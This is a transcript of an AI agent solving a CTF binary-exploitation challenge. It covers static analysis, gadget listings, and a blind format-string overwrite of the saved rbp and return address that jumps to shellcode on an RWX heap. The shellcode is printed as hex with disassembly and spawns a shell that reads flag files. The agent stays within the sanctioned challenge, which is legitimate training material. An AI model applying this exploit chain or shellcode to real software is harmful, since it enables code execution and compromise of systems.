# Thread Handoff - Thread: calm-lantern-4166 - UUID: 3fb07c5b-108b-41b2-9594-d512fe7a2fd2 - CTF: midnight-sun-ctf-2026-quals - Challenge: blkmgk - Runtime: codex - Model: gpt-5.5 - Status: completed ## Transcript - **Assistant:** I’ll inspect the challenge files first, then connect to the service to identify the protocol. I’ll also post concise progress notes to the webhook as requested. - **User:** - 정적으로 분석해서 현재 어떤 공격이 가능한지 정리먼저 한 후 공격 우선 순위를 정해서 공격할것. - 프로그램의 출력 결과는 가능한 strip해서 최소한으로 볼 필요 가 있음 (ascii loading animation 있음) - /dev/null을 열어준다는 것이 의심스럽고, mprotect를 이용하여 힙에 RWX를 주는 것이 의심스럽고, fprintf에 FSB가 가능함. 두번 이용 가능하다는 점도 의심스러움. - libc 파일 없으므로, libc leak 가능성을 최소화 - **Assistant:** 요청대로 먼저 정적 분석으로 공격면과 우선순위를 정리하겠습니다. 원격 공격은 그 다음 단계로 미루고, 출력은 필요한 라인만 뽑아서 보겠습니다. - **Assistant:** 웹훅 전송은 현재 DNS/network 제한으로 실패했습니다. 분석은 계속 진행하고, 네트워크 권한이 필요한 단계에서는 승인 요청으로 다시 시도하겠습니다. - **Assistant:** [*] '/challenge/blkmgk-6602546d0b629c07e2ea50deb412b7bf' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled - **Assistant:** 정적 메타데이터상 non-PIE, Full RELRO, canary, NX, CET가 켜져 있습니다. GOT overwrite는 닫혀 있고, 바이너리 고정 주소와 힙 RWX/mprotect 쪽이 더 유망합니다. - **Assistant:** 코어 구조가 보입니다: `main`은 `/dev/null`을 `FILE*`로 열고, 0x1a4 힙 버퍼를 할당한 뒤 같은 버퍼로 `read`→`fprintf(file, buf)`를 정확히 두 번 반복합니다. `fprintf` 출력은 버려지지만, 포맷 스트링의 `%n` 계열 write primitive는 살아 있습니다. - **Assistant:** 우선순위는 이렇게 잡겠습니다. 1순위는 `fprintf`의 blind `%n`로 스택 프레임을 직접 건드려 이미 RWX가 된 힙 입력 버퍼로 제어흐름을 돌리는 것, 2순위는 `/dev/null` `FILE*`를 이용한 FSOP류, 3순위는 libc leak 기반 ret2libc입니다. libc 파일이 없고 출력이 `/dev/null`이라 1순위를 먼저 검증합니다. - **Assistant:** mprotect(0x403000, 4096, PROT_READ) = 0 mprotect(0x7f4bcd1d7000, 8192, PROT_READ) = 0 brk(NULL) = 0x2379c000 brk(0x237bd000) = 0x237bd000 mprotect(0x2379c000, 135168, PROT_READ|PROT_WRITE|PROT_EXEC) = 0 - **Assistant:** 동적 확인으로 `fprintf`의 vararg 인덱스를 매핑했습니다. 핵심 값은 `%1$p == input heap`, `%5$p/%9$p/%15$p... == 각 스택 프레임 rbp`, `%11$p == 두 번째 RWX 힙 청크`입니다. heap은 실제 실행에서 ASLR로 바뀌므로 고정 heap 주소 가정은 버리고, 포맷 인자에 이미 들어온 포인터만 쓰는 방향으로 좁힙니다. - **Assistant:** 0x646f632f69616e65|0x78756e696c2d7865|0x6e65762f3436782d|0x5f3638782f726f64|0x6f6e6b6e752d3436|0x78756e696c2d6e77|0x61702f6c73756d2d|0x2f74706f2f3a6874|0x766e65762d667463|0x73752f3a6e69622f|0x2f6c61636f6c2f72|0x7273752f3a6e6962|0x732f6c61636f6c2f|0x7273752f3a6e6962|0x622f6c61636f6c2f|0x2f7273752f3a6e69|0x73752f3a6e696273|0x732f3a6e69622f72|0x6e69622f3a6e6962|0x535f5845444f4300|0x4e5f584f42444e41|0x445f4b524f575445|0x3d44454c42415349|0x433d474e414c0031|0x4c00382d4654552e|0x414f4c4552505f44|0x736b726f772f3d44|0x736f6e2f65636170|0x6f732e7065656c|0x52454741505f4847|0x424544007461633d|0x4e4f52465f4e4149|0x6e6f6e3d444e4554|0x7463617265746e69|0x45444f4300657669|0x4441455248545f58|0x653931303d44495f|0x6232362d63353231|0x622d313638372d32|0x313338392d386535 ===/workspace/fmt_70_110.bin=== 0x7fffffffed2a|0x7fffffffed32|0x7fffffffed42|0x7fffffffed4c|0x7fffffffed5d|0x7fffffffed68|0x7fffffffed73|0x7fffffffeda2|0x7fffffffedb1|0x7fffffffedbb|0x7fffffffedc6|0x7fffffffeec9|0x7fffffffeeea|0x7fffffffeef7|0x7fffffffef18|0x7fffffffef25|0x7fffffffef44|0x7fffffffef79|0x7fffffffef87|0x7fffffffef96|0x7fffffffefa5|0x7fffffffefae|(nil)|0x21|0x7ffff7fbe000|0x33|0xd30|0x10|0x178bfbff|0x6|0x1000|0x11|0x64|0x3|0x400040|0x4|0x38|0x5|0xd|0x7|0x7ffff7fc0000 - **Assistant:** ████▄▄▄████ ████▄▄▄▄▄▄▄ ████▀▀█████▄ ████ ████ ████▄▄▄████ ████▀▀█████▄ ██████████▀ ███████████ ████ ▀▀████ ████ ████ ▀█████████▀ ████ ▀▀████ ▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀ ▀▀▀▀ ▀▀▀▀ ▀▀▀▀ ▀▀▀▀▀▀▀▀▀ ▀▀▀▀ ▀▀▀▀ ."Tt╛.ó2íBÇv┼;±G▀ƒ╞┘¬δ¼ÑdΘ┌J3┐╬'2;z┤₧ö{iπÜßè«╒Oáç¬,*╦XQ]╫°═╬æ₧╘ê3bO[╖p≤⌡âJ#».R╖=3┬¶X*æ█ÿN╜5c<═²*_Å░ê└±â┴åàâ*√KÇf╒⌐(Kn»<£¡Äáÿ=uδd╛T┘╔h.·T_┐c\¥Ω2å≤9Pg¡═─Ut∩r!╨!dΦT╢;:7╝jûñ}»{1ñCuó┘«K║#⌡ε≤lε╚mÿ:?h▒Kcòï║<¿⌡╝≤¥Æm]ÇÆi╕=╔'ßCj*å─÷£δék▌▌╖·¿▄δ1ì┴╧x┘═╠╝α▀»Wú╖ù¡╝t╧╓#mOùXÖV╞èÄ╗òhU╬╗<⌐áiX╢û3=(ú╧∩ê╣¢╢¢~ó/╬5\uI«Q5Äá,╗]tºåâ⌡Ö){≈√Fq\Å╬I,ò'å«∞NWEG²·R~5{µ9}QùHqÆ▒ì6╚≥cѺ╣¼¼≥ƒ┐NhÖÄí▓¢Üä╣▀á⌠)l╨]¼vòå╧v%+÷Qτµs'éNí╓sk$╬n╜3åsé│QÜvƒ»z#⌠≥πΦHko:q▓d╧S¿╖┬(Σ¿ü<█ü╞AÖ╡cF_╩{µÅ╝6xΩîφ√nC╗Å╒ªû¢KòQφ▄'4)xUN+Σ╙·²Z?π┘DpÄê)c▌▌╔ê,¬¢b╠+═─<╛«╦╔c▓{£≈TMî▐;∩4_R╓ßα▄cUï=:òÿ╘Joö%▒vs╦ïnΣσ╝Ñnn¥éûçßC1╙▀╚ƒ$▄:É?⌠ú°°æ'A≥u║M°▌æ"-Æ?ô}├╨¿╢iDw╛U╚╘N∙IïÄO¿$]∞P4ëf⌠ò╣.ºî╧)~SqRí_"⌡ª║≥r├$?√'╛▌┴K≤:E,ü╛π╘aδÖïño&epÑâΘ¢╢~A╠+▓Σá_6ùO{úN┘╜;Hè¡Q¡ô┬╧┼4n.ôΣ}ß:╡▀km-±7a5¥%msδ*0i╞∙╛Γ╬N%╡╟ù5¢░*╬ΘtJ₧¼Eƒ■°ú╤'Z┌≈]┤≥Ä≡7Z⌡Eµ/{╣┐HΓ);┴uε∩╘φV)Bc═,X⌠2║&sJ╩╙╒ô≡$es╖Ä∞Ç═i?├Kx«╛Éêµ_dP/(V8╝σ╧φ░┼f■▒',φ%┘≤_m₧+┌ò]1HWΓ▀╤aIh'5░²{A∙÷═º┤_¡τïå┼xQV·lìÄu└ÉΓ╡{εOd¢A¥»$AΘ₧rdÇ■░ä─τπ»zûΩü═ìÅ/└L╢úå╧°ⁿ.j{▓#&■!&màü¢µ»ÄIjì½╕¢ΩC⌐é¶H╧√▒▐hâa╧ë┼ê-}╙ìZ_>lh4╗ï░oBç'CG╣"DÆù!▄╣ê≥¿╓$kz._Ä│üt·O└"<▐ê]µ¼èXsÜ╖╪)[y■÷cºú»Xε?⌡[$b╨├c≡r¶σ≈╒\┐┴Tƒ⌐cµ:b▄té:Üτ╖Γßåσèo)⌐f∞"┌█Ž⌐i─╩Ñ:;τ╪"úsτ[óÇo║╠¢W╡Ñÿ¬ÿÜû&¿÷q╤ò┤èI┼÷µ8dí~z}-φìÉT·X1V╟ìt█ô▄«74²D╩ê⌠_[∩2Φ$pz/ñ╚B1¢1┤u╝Uφ²l¼╓°ⁿ¼üÇΓ≤\▓┌Å⌡ò3tÑ≡╡jr╬ΦµRçêï▒╡σß&U─åSê9qNr3│Ç╕τⁿl8═α╦ÿ╠Γ¥m?gßqŵ{lδtsΦX?ó«╚≈≥æ¥cÄ8èr▄p¢,»Sr╟Ü5ÅXe▓ú¬63÷≥■Ü▐≡½Å╛τ╘bí─ú?ê╣nx¬é┤Φτ$6┴¡┐M╙╢╖■÷kKK<╚Σt⌡*Å:æb≥╩╦≥¿òOM╪■1h╖c(?bm⌠ä~,╩·⌠─┤'╘├häΦ¶5╟└º$iH4óôσLKÄ~DÉ{║s8│F░w»£ß,Q┌&(lNαª▄#▒âXɽk¥┤╝Ωù_µ╚╩2╕*┌⌡?°╘°nN╙òx5ÿΦ┼tE!R÷rⁿ▀éεJ╚\ƒ½E+ñ┼rïùSX∙░I2a╞╗Hƒ╗1┼[▀v[Qû▀n.£ë÷_h%G2W⌠z≡¶p╝_>ÿΘçìæƒÇ╚W«▄J█■¶≡e8├╬óO>]Bß╞ê√▀£=N√íφ_⌡>wI%?Θ¿├αàT$lyR⌡,u½╤╛I─╪cªÄ6dJ∩▌?_ÜPz·ºóD3Ñå┤0Ç┐²¿a;uΣóKW»ú/┐ù"îT_ZG─╟₧≥T╤∙¢Z6╪ÜúG¡╪2╢<¼2Wφ╡sd┐}≡*h║êÑoΘëk╝·e±├Çé!q┴╢∙√²TZ(¥ö╟a)╨Ö├╓\·úíñ▄╔╔PWc»WG!√Dúf▐├n~╓Cn▐ºÇrÉù'Γτ½ó;&un═¢£¿{\o±2a;d╙≈≈║ÆóM7Γ·ä╩▀¡√%Srr/╧çΘA≈bò┬s║f╘╢+ ≤╒Wz\û1Üë√ù,Pâ ≡╦╨8>═]σ±»(¬⌡n Ém▌'╗H6╙b╣■isû t]▀¢├gßa≤n╠ûº╘ _CP½%AΓ┐╧n¼c}∩ b√iwr⌡jPònε,Cò $ⁿ'LèD╒τqn┘zܶ XC¥Ω┴ô≡▒in╞▄¬½ $hWF1╞₧≈in"M{╫ ü%6╜á\¬finX]▀« ¡ìv%≈▀Pⁿin┴ä₧K ╚&F╜╦qQçin₧óÑ8 │╠Tâ1╟»âinKT∙{ Ç≈ôégδc╤in8φΦ╟ !çglº═i╪injô┘Y tÜΘ╡µ╜┤Rini┤~¢ ".▀▀εLwdinαßD┐ ..â·xö«¿in╔▒╔ò -.æk└gª¥int{Ag Σ.5sⁿµΦPin1ëd2 ▓.Os╙x0minΦR├⌐ g.]sùƒfΣin╙5║I ¡.│sQ¼5╬in┴v╓σ ₧.Γs¼óR┘inVⁿm∞ e.ⁿs*─ddin²X¡ê ╩.wsW'│>in╚ΦⁿÅ 4.ßs╓ⁿO]inÅ![0 ∞.∩só╣Q╞in,$à; à..sznîφin8╧v⌡ ▀..s▒L╔lin≡Öz≡ S..s▒ÄHΘin*öçç í..sèπ╓┼in∩∞ô▌ ╞..s╩╫╣Fin=¼ë* ⌐..s─ñ▄}in,=╛Ω ¿..sY÷▒ginF1╢ƒ ╓..s,╟[Äino╧ß≈ -..s<¬║ÄinJ°½└ z..s6+ÜSin│e.╘ T..s7å÷?in:[Qƒ ⁿ..sL⌡·╩inú,qq ╡..sö{±╓inJV±╪ /..ss3╬▒in7B9ì X..sN½V╚in╜╗{R w..s\Ωô¡in0N=_ ⁿ..sx'π±in√ôü4 S..s8åç¿in*bä8 '..sA¡≡linlα└╪ ñ..s!±ríinxkQ* ═..sh*rainÆçeù »..sn║rßink3╖Å t..s-╝r£inà÷_" ÷..sóαrφinvΩ¢ß j..sz·roinßU▌ù ñ..sí├r≡inp╨j≡ τ..s╟⌠rwinÿ⌡»╪ _..sI*ræin·Ωy/ ∩..sδgrJinM1qr ╕..sgΣrπinEKká D..sUT═ ÿ..s-ar8inNVT, 1..sûarFiní]ªN L..s"ar╟ing«#╞ ≤..s▐ar╝ingµ¼k í..sgaròingé└E 8..sóar1ing»»┤ B..s╧araing▌/" ╤..sµar╚ing/YΦ «..sLar%ingezp ╞..sTar8ing╞¿ƒ ┬..staröingâ╗╞ D..starAing¶5π ╝..star⌡ing?$┬ ┤..starbing+y# Σ..star1ing≥(I ∞..staràingtÆa Æ..starÑingδ╦9 ─..star≈ing°╜P -..starking /D )..starring ╣≈ ┘..starⁿing Lj ∩..starSing (ì W..starƒing -ç A..starning k_ ²..star╠ing ├æ ,..star╨ing 9█ ù..star¢ing é╓ û..staruing ╘° R..starüing ÉY ╒..starking Nç w..starFing uΦ ò..starfing u∞ z..starΦing u$ ⁿ..star]ing ué æ..starting uá ¼..starting u- (..starting u· ⌡..starting uô ≈..starting u┌ ï..starting u! 5..starting uu N..starting uÇ e..starting uú ö..starting u┘ ü..starting uê ╠..starting u; î..starting uO ╘..starting u┘ 8..starting uç ?..starting u) -..starting u$ á..starting u╗ O..starting u- ┼..starting uO ç..starting u≤ å..starting uâ ∞..starting uº ▐..starting u═ "..starting uj Φ..starting uä ¶..starting uä r..starting uQ ╚..starting ul ë..starting u9 [..starting uî ≤..starting uë Y..starting ug à..starting u+ à..starting u≈ É..starting u╧ █..starting u3 y..starting uτ v..starting uσ ╒..starting u╝ ▐..starting uε ⌐..starting u┤ (..starting u¿ P..starting uå f..starting u√ ▒..starting uÉ ª..starting u" ô..starting uß ç..starting u_ ╘..starting u≈ ╣..starting u╦ t..starting u! O..starting u╓ ...starting uƒ ...starting u: ...starting u┬ ...starting u0 ...starting uA ...starting uf ...starting u≥ ...starting uj ...starting u├ ...starting uF ...starting u╠ ...starting uT ...starting uå ...starting u} ...starting u⌐ ...starting uE ...starting u║ ...starting u╣ ...starting u) ...starting u] ...starting uï ...starting uY ...starting u_ ...starting u2 ...starting u¿ ...starting u╛ ...starting uê ...starting u' ...starting u6 ...starting u\ ...starting u╤ ...starting up ...starting up ... done! - **Assistant:** grep: (standard input): binary file matches - **Assistant:** 0x000000000040100d : add byte ptr [rax], al ; test rax, rax ; je 0x401016 ; call rax 0x000000000040100a : add eax, 0x2fe9 ; test rax, rax ; je 0x401016 ; call rax 0x0000000000401646 : add eax, 0xfffb74e8 ; dec dword ptr [rax - 0x75] ; pop rbp ; clc ; leave ; ret 0x0000000000401014 : call rax 0x000000000040164f : clc ; leave ; ret 0x000000000040164b : dec dword ptr [rax - 0x75] ; pop rbp ; clc ; leave ; ret 0x0000000000401012 : je 0x401016 ; call rax 0x0000000000401305 : je 0x401310 ; mov edi, 0x4046f0 ; jmp rax 0x0000000000401347 : je 0x401350 ; mov edi, 0x4046f0 ; jmp rax 0x000000000040130c : jmp rax 0x0000000000401650 : leave ; ret 0x0000000000401009 : mov eax, dword ptr [rip + 0x2fe9] ; test rax, rax ; je 0x401016 ; call rax 0x000000000040164d : mov ebx, dword ptr [rbp - 8] ; leave ; ret 0x0000000000401307 : mov edi, 0x4046f0 ; jmp rax 0x000000000040164c : mov rbx, qword ptr [rbp - 8] ; leave ; ret 0x0000000000401306 : or dword ptr [rdi + 0x4046f0], edi ; jmp rax 0x000000000040164e : pop rbp ; clc ; leave ; ret 0x0000000000401010 : test eax, eax ; je 0x401016 ; call rax 0x0000000000401303 : test eax, eax ; je 0x401310 ; mov edi, 0x4046f0 ; jmp rax 0x0000000000401345 : test eax, eax ; je 0x401350 ; mov edi, 0x4046f0 ; jmp rax 0x000000000040100f : test rax, rax ; je 0x401016 ; call rax 0x0000000000401302 : test rax, rax ; je 0x401310 ; mov edi, 0x4046f0 ; jmp rax 0x0000000000401344 : test rax, rax ; je 0x401350 ; mov edi, 0x4046f0 ; jmp rax - **Assistant:** 중요한 경로가 잡혔습니다. 두 번째 `read`를 RWX 힙 포맷 문자열로 돌린 뒤, non-positional FSB의 “인자 fetch가 순차적”인 점을 이용해 스택의 저장된 rbp 포인터를 먼저 `...b8`로 바꾸고, 그 다음 인자가 그 값을 포인터로 읽게 만들어 return address 하위 2바이트를 `pop rbp; ret`로 바꿀 수 있습니다. 이어지는 `ret`가 스택에 남아 있는 input heap 포인터로 떨어져 첫 payload 안의 shellcode를 실행합니다. - **Assistant:** [x] Starting local process '/challenge/blkmgk-6602546d0b629c07e2ea50deb412b7bf' [+] Starting local process '/challenge/blkmgk-6602546d0b629c07e2ea50deb412b7bf': pid 816 [*] Process '/challenge/blkmgk-6602546d0b629c07e2ea50deb412b7bf' stopped with exit code -6 (SIGABRT) (pid 816) Traceback (most recent call last): File "/opt/ctf-venv/lib/python3.12/site-packages/pwnlib/tubes/process.py", line 757, in send_raw self.proc.stdin.flush() BrokenPipeError: [Errno 32] Broken pipe During handling of the above exception, another exception occurred: Traceback (most recent call last): File "/workspace/solve.py", line 62, in io.send(second_stage()) File "/opt/ctf-venv/lib/python3.12/site-packages/pwnlib/tubes/tube.py", line 887, in send self.send_raw(data) File "/opt/ctf-venv/lib/python3.12/site-packages/pwnlib/tubes/process.py", line 759, in send_raw raise EOFError EOFError - **Assistant:** 420 41 - **Assistant:** [*] Process '/challenge/blkmgk-6602546d0b629c07e2ea50deb412b7bf' stopped with exit code 1 (pid 909) Traceback (most recent call last): File "/opt/ctf-venv/lib/python3.12/site-packages/pwnlib/tubes/process.py", line 757, in send_raw self.proc.stdin.flush() BrokenPipeError: [Errno 32] Broken pipe During handling of the above exception, another exception occurred: Traceback (most recent call last): File "/workspace/solve.py", line 66, in io.sendline(b"cat flag* /flag* 2>/dev/null; id; exit") File "/opt/ctf-venv/lib/python3.12/site-packages/pwnlib/tubes/tube.py", line 908, in sendline self.send(line + self.newline) File "/opt/ctf-venv/lib/python3.12/site-packages/pwnlib/tubes/tube.py", line 887, in send self.send_raw(data) File "/opt/ctf-venv/lib/python3.12/site-packages/pwnlib/tubes/process.py", line 759, in send_raw raise EOFError EOFError - **Assistant:** Traceback (most recent call last): File "", line 3, in File "/opt/ctf-venv/lib/python3.12/site-packages/pwnlib/context/__init__.py", line 1716, in setter return function(*a, **kw) ^^^^^^^^^^^^^^^^^^ File "/opt/ctf-venv/lib/python3.12/site-packages/pwnlib/asm.py", line 827, in asm tmpdir = tempfile.mkdtemp(prefix = 'pwn-asm-') ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/root/.local/share/uv/python/cpython-3.12.13-linux-x86_64-gnu/lib/python3.12/tempfile.py", line 373, in mkdtemp prefix, suffix, dir, output_type = _sanitize_params(prefix, suffix, dir) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/root/.local/share/uv/python/cpython-3.12.13-linux-x86_64-gnu/lib/python3.12/tempfile.py", line 126, in _sanitize_params dir = gettempdir() ^^^^^^^^^^^^ File "/root/.local/share/uv/python/cpython-3.12.13-linux-x86_64-gnu/lib/python3.12/tempfile.py", line 315, in gettempdir return _os.fsdecode(_gettempdir()) ^^^^^^^^^^^^^ File "/root/.local/share/uv/python/cpython-3.12.13-linux-x86_64-gnu/lib/python3.12/tempfile.py", line 308, in _gettempdir tempdir = _get_default_tempdir() ^^^^^^^^^^^^^^^^^^^^^^ File "/root/.local/share/uv/python/cpython-3.12.13-linux-x86_64-gnu/lib/python3.12/tempfile.py", line 223, in _get_default_tempdir raise FileNotFoundError(_errno.ENOENT, FileNotFoundError: [Errno 2] No usable temporary directory found in ['/tmp', '/var/tmp', '/usr/tmp', '/workspace'] - **Assistant:** 48 6a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05 - **Assistant:** [*] Switching to interactive mode [*] Stopped process '/challenge/blkmgk-6602546d0b629c07e2ea50deb412b7bf' (pid 968) - **Assistant:** [*] Process '/challenge/blkmgk-6602546d0b629c07e2ea50deb412b7bf' stopped with exit code 1 (pid 973) Traceback (most recent call last): File "/opt/ctf-venv/lib/python3.12/site-packages/pwnlib/tubes/process.py", line 757, in send_raw self.proc.stdin.flush() BrokenPipeError: [Errno 32] Broken pipe During handling of the above exception, another exception occurred: Traceback (most recent call last): File "", line 14, in File "/opt/ctf-venv/lib/python3.12/site-packages/pwnlib/tubes/tube.py", line 908, in sendline self.send(line + self.newline) File "/opt/ctf-venv/lib/python3.12/site-packages/pwnlib/tubes/tube.py", line 887, in send self.send_raw(data) File "/opt/ctf-venv/lib/python3.12/site-packages/pwnlib/tubes/process.py", line 759, in send_raw raise EOFError EOFError - **Assistant:** /workspace/gdb_exploit.gdb:16: Error in sourced command file: Warning: Cannot insert breakpoint 1. Cannot access memory at address 0x401687 Cannot insert breakpoint 2. Cannot access memory at address 0x401717 read_wrapper ret rbp=0x7fffffffe8a8 rsp=0x7fffffffe8b8 rip=0x40174c savedrbp=0x3e171c6d99e04d00 savedrip=0x7fffffffe8a8\n read_wrapper ret rbp=0x7fffffffe8b8 rsp=0x7fffffffe8b8 rip=0x40137d savedrbp=0x40137d savedrip=(nil)\nprocess 990 is executing new program: /usr/bin/dash - **Assistant:** 132 48b801010101010101015048b82e63686f2e726901483104244889e7686d6d01018134240101010148b83e2f6465762f6e755048b82f666c61672a20325048b87420666c61672a205048b801010101010101015048b87269012c620162604831042431f6566a0e5e4801e6566a135e4801e6566a185e4801e6564889e631d26a3b580f05 0: 48 b8 01 01 01 01 01 01 01 01 movabs rax, 0x101010101010101 a: 50 push rax b: 48 b8 2e 63 68 6f 2e 72 69 01 movabs rax, 0x169722e6f68632e 15: 48 31 04 24 xor QWORD PTR [rsp], rax 19: 48 89 e7 mov rdi, rsp 1c: 68 6d 6d 01 01 push 0x1016d6d 21: 81 34 24 01 01 01 01 xor DWORD PTR [rsp], 0x1010101 28: 48 b8 3e 2f 64 65 76 2f 6e 75 movabs rax, 0x756e2f7665642f3e 32: 50 push rax 33: 48 b8 2f 66 6c 61 67 2a 20 32 movabs rax, 0x32202a67616c662f 3d: 50 push rax 3e: 48 b8 74 20 66 6c 61 67 2a 20 movabs rax, 0x202a67616c662074 48: 50 push rax 49: 48 b8 01 01 01 01 01 01 01 01 movabs rax, 0x101010101010101 53: 50 push rax 54: 48 b8 72 69 01 2c 62 01 62 60 movabs rax, 0x606201622c016972 5e: 48 31 04 24 xor QWORD PTR [rsp], rax 62: 31 f6 xor esi, esi 64: 56 push rsi 65: 6a 0e push 0xe 67: 5e pop rsi 68: 48 01 e6 add rsi, rsp 6b: 56 push rsi 6c: 6a 13 push 0x13 6e: 5e pop rsi 6f: 48 01 e6 add rsi, rsp 72: 56 push rsi 73: 6a 18 push 0x18 75: 5e pop rsi 76: 48 01 e6 add rsi, rsp 79: 56 push rsi 7a: 48 89 e6 mov rsi, rsp 7d: 31 d2 xor edx, edx 7f: 6a 3b push 0x3b 81: 58 pop rax 82: 0f 05 syscall - **Assistant:** [*] Process '/challenge/blkmgk-6602546d0b629c07e2ea50deb412b7bf' stopped with exit code -6 (SIGABRT) (pid 1036) Traceback (most recent call last): File "/opt/ctf-venv/lib/python3.12/site-packages/pwnlib/tubes/process.py", line 757, in send_raw self.proc.stdin.flush() BrokenPipeError: [Errno 32] Broken pipe During handling of the above exception, another exception occurred: Traceback (most recent call last): File "/workspace/solve.py", line 59, in io.send(second_stage()) File "/opt/ctf-venv/lib/python3.12/site-packages/pwnlib/tubes/tube.py", line 887, in send self.send_raw(data) File "/opt/ctf-venv/lib/python3.12/site-packages/pwnlib/tubes/process.py", line 759, in send_raw raise EOFError EOFError - **Assistant:** [x] Receiving all data [x] Receiving all data: 1B [+] Receiving all data: Done (1B) [*] Process '/challenge/blkmgk-6602546d0b629c07e2ea50deb412b7bf' stopped with exit code -6 (SIGABRT) (pid 1067) - **Assistant:** /workspace/gdb_exploit.gdb:16: Error in sourced command file: Warning: Cannot insert breakpoint 1. Cannot access memory at address 0x401687 Cannot insert breakpoint 2. Cannot access memory at address 0x401717 read_wrapper ret rbp=0x7fffffffe8a8 rsp=0x7fffffffe8b8 rip=0x40174c savedrbp=0xef5d2db947289b00 savedrip=0x7fffffffe8a8\n read_wrapper ret rbp=0x7fffffffe8b8 rsp=0x7fffffffe8b8 rip=0x40137d savedrbp=0x40137d savedrip=(nil)\nprocess 1082 is executing new program: /usr/bin/dash - **Assistant:** 로컬에서는 gdb 기준으로 `/usr/bin/dash` exec까지 확인됐습니다. 일반 실행에서는 로컬에 flag 파일이 없어 유의미한 출력이 없지만, 원격에서는 같은 shellcode가 `cat flag* /flag*`를 바로 실행하게 했습니다. 이제 원격에서 결과를 받겠습니다. - **Assistant:** [x] Opening connection to blkmgk.play.ctf.se on port 5353: Trying 13.60.76.107 [+] Opening connection to blkmgk.play.ctf.se on port 5353: Done [x] Receiving all data [x] Receiving all data: 1B [x] Receiving all data: 37B [+] Receiving all data: Done (37B) [*] Closed connection to blkmgk.play.ctf.se port 5353 midnight{1_w4s_bl1nD_bu7_n0w_I_533} - **Assistant:** 해결했습니다. Flag: ```text midnight{1_w4s_bl1nD_bu7_n0w_I_533} ``` 핵심 공격 흐름: 1. 정적 분석 결과 `fprintf(devnull, user_buf)`가 2번 호출되는 blind FSB 구조였습니다. 2. `/dev/null` 때문에 leak은 못 하지만 `%n` write는 가능했습니다. 3. animation용 heap chunk에 `mprotect(..., RWX)`가 걸리고, 같은 heap 영역이 실행 가능해졌습니다. 4. 1번째 FSB로 saved `rbp` 하위 1바이트를 바꿔 2번째 `read` 목적지를 RWX heap 쪽으로 돌렸습니다. 5. 2번째 FSB는 non-positional vararg fetch가 순차적으로 일어나는 점을 이용했습니다. - 먼저 stack에 있는 saved-rbp 포인터를 `...b8`로 바꿈 - 이후 그 값이 다음 vararg pointer로 읽히게 만들어 saved return address 하위 2바이트를 `pop rbp; ret`로 변경 6. `pop rbp; ret` 뒤의 stack slot에 이미 input heap pointer가 있어서, heap shellcode로 자연스럽게 점프했습니다. 7. shellcode는 `/bin/sh -c 'cat flag* /flag* 2>/dev/null'`를 실행했습니다. 작성한 exploit은 [solve.py](/workspace/solve.py)에 있습니다. 원격 실행으로 flag까지 확인했습니다. - **System:** Thread completed